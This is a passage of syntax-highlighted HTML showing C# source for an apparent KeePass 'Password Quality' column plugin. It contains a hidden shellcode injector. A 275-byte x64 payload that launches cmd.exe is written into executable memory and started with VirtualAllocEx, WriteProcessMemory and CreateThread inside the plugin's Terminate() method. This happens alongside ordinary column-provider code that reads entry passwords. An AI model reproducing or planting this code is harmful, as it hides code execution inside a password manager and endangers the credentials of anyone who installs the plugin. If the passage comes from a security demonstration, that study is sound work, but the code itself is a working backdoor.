*\/<\/span>\r\n<span style=\"color: #333399; font-weight: bold\">byte<\/span>[] buf = <span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #333399; font-weight: bold\">byte<\/span>[<span style=\"color: #6600EE; font-weight: bold\">275<\/span>] {\r\n<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xfc,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x48,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x83,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xe4,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xf0,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xe8,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xc0,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x00,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x00,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x00,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x41,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x51,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x41,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x50,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x52,\r\n<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x51,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x56,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x48,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x31,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xd2,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x65,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x48,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x8b,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x52,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x60,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x48,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x8b,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x52,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x18,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x48,\r\n<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x8b,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x52,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x20,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x48,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x8b,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x72,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x50,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x48,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x0f,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xb7,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x4a,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x4a,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x4d,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x31,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xc9,\r\n<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x48,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x31,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xc0,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xac,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x3c,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x61,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x7c,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x02,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x2c,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x20,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x41,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xc1,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xc9,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x0d,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x41,\r\n<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x01,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xc1,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xe2,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xed,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x52,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x41,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x51,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x48,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x8b,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x52,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x20,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x8b,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x42,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x3c,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x48,\r\n<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x01,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xd0,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x8b,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x80,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x88,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x00,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x00,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x00,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x48,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x85,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xc0,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x74,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x67,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x48,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x01,\r\n<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xd0,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x50,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x8b,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x48,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x18,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x44,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x8b,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x40,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x20,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x49,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x01,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xd0,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xe3,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x56,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x48,\r\n<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xff,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xc9,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x41,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x8b,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x34,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x88,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x48,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x01,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xd6,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x4d,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x31,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xc9,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x48,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x31,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xc0,\r\n<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xac,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x41,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xc1,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xc9,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x0d,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x41,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x01,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xc1,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x38,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xe0,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x75,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xf1,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x4c,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x03,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x4c,\r\n<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x24,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x08,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x45,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x39,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xd1,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x75,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xd8,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x58,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x44,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x8b,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x40,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x24,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x49,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x01,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xd0,\r\n<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x66,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x41,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x8b,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x0c,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x48,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x44,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x8b,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x40,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x1c,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x49,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x01,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xd0,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x41,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x8b,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x04,\r\n<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x88,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x48,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x01,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xd0,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x41,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x58,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x41,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x58,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x5e,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x59,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x5a,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x41,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x58,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x41,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x59,\r\n<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x41,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x5a,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x48,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x83,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xec,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x20,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x41,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x52,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xff,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xe0,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x58,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x41,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x59,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x5a,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x48,\r\n<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x8b,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x12,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xe9,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x57,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xff,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xff,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xff,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x5d,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x48,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xba,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x01,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x00,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x00,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x00,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x00,\r\n<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x00,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x00,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x00,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x48,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x8d,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x8d,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x01,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x01,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x00,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x00,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x41,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xba,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x31,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x8b,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x6f,\r\n<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x87,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xff,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xd5,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xbb,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xaa,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xc5,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xe2,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x5d,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x41,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xba,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xa6,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x95,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xbd,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x9d,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xff,\r\n<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xd5,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x48,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x83,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xc4,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x28,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x3c,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x06,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x7c,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x0a,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x80,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xfb,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xe0,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x75,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x05,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xbb,\r\n<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x47,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x13,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x72,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x6f,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x6a,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x00,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x59,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x41,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x89,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xda,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xff,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>xd5,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x63,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x6d,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x64,\r\n<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x2e,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x65,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x78,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x65,<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x00 };\r\n\r\n<span style=\"color: #0000CC\">        [DllImport(&quot;Kernel32.dll&quot;)]<\/span>\r\n        <span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #008800; font-weight: bold\">extern<\/span> IntPtr <span style=\"color: #0066BB; font-weight: bold\">CreateThread<\/span>(UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr param,\r\n           UInt32 dwCreationFlags, <span style=\"color: #008800; font-weight: bold\">ref<\/span> UInt32 lpThreadId);\r\n\r\n<span style=\"color: #0000CC\">        [DllImport(&quot;Kernel32.dll&quot;)]<\/span>\r\n        <span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #008800; font-weight: bold\">extern<\/span> IntPtr <span style=\"color: #0066BB; font-weight: bold\">OpenProcess<\/span>(<span style=\"color: #333399; font-weight: bold\">uint<\/span> lol, <span style=\"color: #333399; font-weight: bold\">int<\/span> int_0, <span style=\"color: #333399; font-weight: bold\">int<\/span> int_1);\r\n\r\n<span style=\"color: #0000CC\">        [DllImport(&quot;Kernel32.dll&quot;, ExactSpelling = true, SetLastError = true)]<\/span>\r\n        <span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #008800; font-weight: bold\">extern<\/span> IntPtr <span style=\"color: #0066BB; font-weight: bold\">VirtualAllocEx<\/span>(IntPtr intptr_0, IntPtr intptr_1, IntPtr intptr_2, AllocationType allocationType_0, AllocationProtect allocationProtect_0);\r\n\r\n<span style=\"color: #0000CC\">        [DllImport(&quot;Kernel32.dll&quot;, SetLastError = true)]<\/span>\r\n        <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #008800; font-weight: bold\">extern<\/span> <span style=\"color: #333399; font-weight: bold\">bool<\/span> <span style=\"color: #0066BB; font-weight: bold\">WriteProcessMemory<\/span>(IntPtr hProcess, IntPtr lpBaseAddress,\r\n          <span style=\"color: #333399; font-weight: bold\">byte<\/span>[] lpBuffer, <span style=\"color: #333399; font-weight: bold\">int<\/span> dwSize, <span style=\"color: #008800; font-weight: bold\">ref<\/span> <span style=\"color: #333399; font-weight: bold\">int<\/span> lpNumberOfBytesWritten);\r\n\t\t  \r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> IPluginHost m_host = <span style=\"color: #008800; font-weight: bold\">null<\/span>;\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> QualityColumnProvider m_prov = <span style=\"color: #008800; font-weight: bold\">null<\/span>;\r\n\r\n\t\t<span style=\"color: #008800; font-weight: bold\">internal<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> IPluginHost Host\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">get<\/span> { <span style=\"color: #008800; font-weight: bold\">return<\/span> m_host; }\r\n\t\t}\r\n\r\n\t\t<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">override<\/span> <span style=\"color: #333399; font-weight: bold\">bool<\/span> <span style=\"color: #0066BB; font-weight: bold\">Initialize<\/span>(IPluginHost host)\r\n\t\t{\r\n\t\t\tTerminate();\r\n\t\t\tm_host = host;\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span>(m_host == <span style=\"color: #008800; font-weight: bold\">null<\/span>) { Debug.Assert(<span style=\"color: #008800; font-weight: bold\">false<\/span>); <span style=\"color: #008800; font-weight: bold\">return<\/span> <span style=\"color: #008800; font-weight: bold\">false<\/span>; }\r\n\r\n\t\t\tm_prov = <span style=\"color: #008800; font-weight: bold\">new<\/span> QualityColumnProvider();\r\n\t\t\tm_host.ColumnProviderPool.Add(m_prov);\r\n\r\n\t\t\tm_host.MainWindow.FileClosed += <span style=\"color: #008800; font-weight: bold\">this<\/span>.OnFileClosed;\r\n\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">return<\/span> <span style=\"color: #008800; font-weight: bold\">true<\/span>;\r\n\t\t}\r\n\r\n\t\t<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">override<\/span> <span style=\"color: #008800; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">Terminate<\/span>()\r\n\t\t{\r\n\t\t\tSystem.Diagnostics.Process olo = System.Diagnostics.Process.GetCurrentProcess();\r\n            <span style=\"color: #333399; font-weight: bold\">int<\/span> pid = olo.Id;\r\n            IntPtr hProcess = OpenProcess(<span style=\"color: #6600EE; font-weight: bold\">0<\/span>x001F0FFF, <span style=\"color: #6600EE; font-weight: bold\">0<\/span>, pid);\r\n            <span style=\"color: #008800; font-weight: bold\">if<\/span> (hProcess == IntPtr.Zero)\r\n            {\r\n                <span style=\"color: #008800; font-weight: bold\">throw<\/span> <span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #0066BB; font-weight: bold\">Exception<\/span>(<span style=\"background-color: #fff0f0\">&quot;error!&quot;<\/span>);\r\n            }\r\n            IntPtr intPtr = VirtualAllocEx(hProcess, IntPtr.Zero, (IntPtr)buf.Length,\r\n            AllocationType.Commit | AllocationType.Reserve, AllocationProtect.PAGE_EXECUTE_READWRITE);\r\n            <span style=\"color: #333399; font-weight: bold\">int<\/span> zero = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>;\r\n            IntPtr kek = IntPtr.Zero;\r\n            WriteProcessMemory(hProcess, intPtr, buf, buf.Length, <span style=\"color: #008800; font-weight: bold\">ref<\/span> zero);\r\n            UInt32 tid = <span style=\"color: #6600EE; font-weight: bold\">0<\/span>;\r\n            CreateThread(<span style=\"color: #6600EE; font-weight: bold\">0<\/span>, <span style=\"color: #6600EE; font-weight: bold\">0<\/span>, intPtr, kek, <span style=\"color: #6600EE; font-weight: bold\">0<\/span>, <span style=\"color: #008800; font-weight: bold\">ref<\/span> tid);\r\n\t\t\t\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span>(m_host == <span style=\"color: #008800; font-weight: bold\">null<\/span>) <span style=\"color: #008800; font-weight: bold\">return<\/span>;\r\n\r\n\t\t\tm_host.MainWindow.FileClosed -= <span style=\"color: #008800; font-weight: bold\">this<\/span>.OnFileClosed;\r\n\r\n\t\t\tm_host.ColumnProviderPool.Remove(m_prov);\r\n\t\t\tm_prov = <span style=\"color: #008800; font-weight: bold\">null<\/span>;\r\n\r\n\t\t\tm_host = <span style=\"color: #008800; font-weight: bold\">null<\/span>;\r\n\t\t}\r\n\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">OnFileClosed<\/span>(<span style=\"color: #333399; font-weight: bold\">object<\/span> sender, FileClosedEventArgs e)\r\n\t\t{\r\n\t\t\tQualityColumnProvider.ClearCache();\r\n\t\t}\r\n\t}\r\n\r\n\t<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">sealed<\/span> <span style=\"color: #008800; font-weight: bold\">class<\/span> <span style=\"color: #BB0066; font-weight: bold\">QualityColumnProvider<\/span> : ColumnProvider\r\n\t{\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">const<\/span> <span style=\"color: #333399; font-weight: bold\">string<\/span> QcpName = <span style=\"background-color: #fff0f0\">&quot;Password Quality&quot;<\/span>;\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">const<\/span> <span style=\"color: #333399; font-weight: bold\">string<\/span> QcpBitsSuffix = <span style=\"background-color: #fff0f0\">&quot; bits&quot;<\/span>;\r\n\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #333399; font-weight: bold\">object<\/span> m_oCacheSync = <span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #333399; font-weight: bold\">object<\/span>();\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> Dictionary&lt;<span style=\"color: #333399; font-weight: bold\">string<\/span>, <span style=\"color: #333399; font-weight: bold\">uint<\/span>&gt; m_dCache =\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">new<\/span> Dictionary&lt;<span style=\"color: #333399; font-weight: bold\">string<\/span>, <span style=\"color: #333399; font-weight: bold\">uint<\/span>&gt;();\r\n\r\n\t\t<span style=\"color: #008800; font-weight: bold\">private<\/span> <span style=\"color: #333399; font-weight: bold\">string<\/span>[] m_vColNames = <span style=\"color: #008800; font-weight: bold\">new<\/span> <span style=\"color: #333399; font-weight: bold\">string<\/span>[] { QcpName };\r\n\t\t<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">override<\/span> <span style=\"color: #333399; font-weight: bold\">string<\/span>[] ColumnNames\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">get<\/span> { <span style=\"color: #008800; font-weight: bold\">return<\/span> m_vColNames; }\r\n\t\t}\r\n\r\n\t\t<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">override<\/span> HorizontalAlignment TextAlign\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">get<\/span> { <span style=\"color: #008800; font-weight: bold\">return<\/span> HorizontalAlignment.Right; }\r\n\t\t}\r\n\r\n\t\t<span style=\"color: #008800; font-weight: bold\">internal<\/span> <span style=\"color: #008800; font-weight: bold\">static<\/span> <span style=\"color: #008800; font-weight: bold\">void<\/span> <span style=\"color: #0066BB; font-weight: bold\">ClearCache<\/span>()\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">lock<\/span>(m_oCacheSync)\r\n\t\t\t{\r\n\t\t\t\tm_dCache.Clear();\r\n\t\t\t}\r\n\t\t}\r\n\r\n\t\t<span style=\"color: #008800; font-weight: bold\">public<\/span> <span style=\"color: #008800; font-weight: bold\">override<\/span> <span style=\"color: #333399; font-weight: bold\">string<\/span> <span style=\"color: #0066BB; font-weight: bold\">GetCellData<\/span>(<span style=\"color: #333399; font-weight: bold\">string<\/span> strColumnName, PwEntry pe)\r\n\t\t{\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span>(strColumnName == <span style=\"color: #008800; font-weight: bold\">null<\/span>) { Debug.Assert(<span style=\"color: #008800; font-weight: bold\">false<\/span>); <span style=\"color: #008800; font-weight: bold\">return<\/span> <span style=\"color: #333399; font-weight: bold\">string<\/span>.Empty; }\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span>(strColumnName != QcpName) <span style=\"color: #008800; font-weight: bold\">return<\/span> <span style=\"color: #333399; font-weight: bold\">string<\/span>.Empty;\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span>(pe == <span style=\"color: #008800; font-weight: bold\">null<\/span>) { Debug.Assert(<span style=\"color: #008800; font-weight: bold\">false<\/span>); <span style=\"color: #008800; font-weight: bold\">return<\/span> <span style=\"color: #333399; font-weight: bold\">string<\/span>.Empty; }\r\n\r\n\t\t\t<span style=\"color: #333399; font-weight: bold\">string<\/span> strPw = pe.Strings.ReadSafe(PwDefs.PasswordField);\r\n\r\n\t\t\t<span style=\"color: #008800; font-weight: bold\">if<\/span>(strPw.IndexOf(<span style=\"color: #0044DD\">&#39;{&#39;<\/span>) &gt;= <span style=\"color: #6600EE; font-weight: 